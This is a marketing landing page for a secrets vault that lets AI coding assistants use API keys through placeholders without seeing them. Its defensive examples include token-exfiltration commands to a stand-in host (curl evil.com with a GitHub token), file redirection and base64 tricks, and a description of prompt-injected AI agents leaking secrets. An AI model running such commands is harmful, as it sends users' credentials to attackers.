Now available for macOS, Linux & Windows

Your AI assistant uses passwords.
It never sees them.

Waykee Secrets is a tiny vault on your computer that lets AI coding tools use your passwords and API keys — without ever knowing what they actually are.

🛡
waykee-secrets
The Problem

AI tools need your secrets.
That's risky.

When you ask an AI coding assistant to deploy your app, connect to a database, or push code — it needs access to your passwords, API keys, and tokens.

Today, most people paste these secrets directly into the conversation or store them in plain text files. That means the AI can see your actual password and could accidentally leak it in logs, send it to the wrong server, or include it in code suggestions.

Real risk: A single leaked API key can cost thousands of dollars in unauthorized usage. It happens more often than you think.
🔓
ghp_a1b2c3d4e5f6g7h8...
🤖
WITH WAYKEE SECRETS
🔒
🤖
How it works

Three simple steps

No complicated setup. No config files to manage. Install it, add your secrets, and forget about it.

01

Install with one command

Copy one line into your terminal. The installer sets everything up automatically — the vault, the background service, and the connection to your AI tools.

📦
Copy & paste, that's it
Works on macOS, Linux and Windows. Takes about 30 seconds.
$ curl -fsSL https://waykeesecrets.powerera.com/install.sh | bash
✔ Installed ~ Vault ready, daemon running
02

Add your secrets

Tell the vault what secrets to protect and where they're allowed to be used. For example: "My GitHub token can only be used with github.com."

🔑
Secrets with rules
Each secret has a "scope" — the allowed destination.
$ waykee-secrets add GITHUB_TOKEN
Scope: host:github.com
Value: ********
✔ Secret stored & encrypted
03

Use your AI tools normally

Just work as usual. When your AI assistant needs a secret, it uses a placeholder like {GITHUB_TOKEN}. The vault fills in the real value behind the scenes — the AI never sees it.

It just works
Your AI writes the command, the vault does the rest.
# AI writes this command:
$ curl api.github.com -H "Bearer {GITHUB_TOKEN}"
# Vault fills in the real token automatically
✔ {"login":"you", "plan":"pro"}
# Output shows {RedactedSecret} instead of real value
Security

Three layers keeping you safe

Your secrets are protected at every step — when they're stored, when they're used, and in the output.

🎯

Destination locking

Each secret has a rule about where it can go. Your GitHub token only works with GitHub. If someone (or something) tries to send it anywhere else — blocked.

✔ github.com   allowed
✘ evil-site.com   blocked
✘ /tmp/stolen.txt   blocked
🛡

Anti-theft protection

Even clever tricks are stopped. The vault detects attempts to copy secrets to files, encode them, or pipe them to hidden destinations. All blocked automatically.

echo {TOKEN} > file   blocked
base64 {TOKEN}   blocked
curl evil.com -d {TOKEN}   blocked
🙈

Output hiding

If a real secret value accidentally appears in the output, it's automatically replaced with {RedactedSecret}. The AI never learns the actual value.

# What the AI sees:
Bearer {RedactedSecret}
# What actually runs:
Bearer ghp_real_token_here
See the difference

Before and after

Watch what happens when an AI agent tries to use your GitHub token — with and without Waykee Secrets.

⚠ Without Waykee Secrets
$ echo $GITHUB_TOKEN
ghp_a1b2c3d4e5f6g7h8i9j0k1l2
# The AI sees your real token

$ curl evil.com -d "$GITHUB_TOKEN"
{"status":"received"}
# Token sent to attacker. No warning.

$ echo $GITHUB_TOKEN > /tmp/log.txt
# Token saved to file. No protection.
✅ With Waykee Secrets
$ echo {GITHUB_TOKEN}
BLOCKED: cannot echo secrets

$ curl evil.com -d "{GITHUB_TOKEN}"
BLOCKED: unauthorized destination

$ curl api.github.com -H "{GITHUB_TOKEN}"
{"login":"you", "id":12345}
# Allowed: destination matches scope
Use cases

Real scenarios, real protection

Here's how developers use Waykee Secrets every day to keep their credentials safe.

Developer

Deploying code to production

Your AI assistant needs SSH keys and deploy tokens to push code to your servers. With Waykee Secrets, it uses placeholders — the real keys stay locked in the vault and are only sent to your server.

DevOps

Managing cloud services

AWS keys, Azure credentials, database passwords — all protected. Your AI can run infrastructure commands using scope-locked secrets that only work with the right cloud provider.

Team

Sharing secrets across developers

Everyone on the team gets the same secrets, synced in real time. When someone rotates a key, every developer's vault updates instantly — no Slack messages, no .env files.

Security

Audit trail for compliance

Every time a secret is used, it's logged — which secret, which command, which destination. Perfect for compliance audits and security reviews. Secret values are never logged.

Compatibility

Works with your favorite tools

Waykee Secrets integrates seamlessly with the AI coding tools you already use.

💻

Claude Code

Native hook integration

📝

Cursor

Terminal & tools

🌊

Windsurf

Shell integration

💠

VS Code

Any extension + terminal

🖥

Any Terminal

zsh, bash, fish

📱

Claude Desktop

MCP server (coming soon)

Pricing

Simple, transparent pricing

Start free. Upgrade when you need more.

Free
$0/mo
Perfect for trying it out
  • 3 secrets
  • 1 device
  • Scope locking
  • Anti-theft protection
  • Output redaction
Get started free
Enterprise
Custom
For organizations
  • Everything in Pro
  • SSO / SAML
  • Custom integrations
  • SLA guarantee
  • Dedicated support
Contact sales

No credit card required to install · Cancel anytime · USD

FAQ

Common questions

Never. The AI only writes a placeholder like {MY_PASSWORD}. The vault replaces it with the real value when the command runs, and hides it again in the output. The AI never learns the actual secret.

Your secrets are cached locally (encrypted) on your machine. The vault keeps working offline. When you're back online, it syncs any changes automatically.

Not at all. One command installs everything. It takes about 30 seconds. There are no config files to edit, no environment variables to set up, no Docker containers to run.

The vault blocks all known exfiltration patterns: file redirections, base64 encoding, piping to network tools, split-destination attacks, and more. Even if the AI is compromised by a prompt injection, the vault enforces rules at the system level — outside the AI's control.

.env files store passwords in plain text on your disk. Any AI tool (or person) with file access can read them. Waykee Secrets encrypts everything, adds destination rules, blocks exfiltration, and redacts output. It's a vault, not a text file.

Claude Code (native hooks), Cursor, Windsurf, VS Code, and any tool that runs commands through a terminal. Claude Desktop support via MCP is coming soon.

Get started

Ready to protect your secrets?

Install in 30 seconds. No credit card. No configuration.

curl -fsSL https://waykeesecrets.powerera.com/install.sh | bash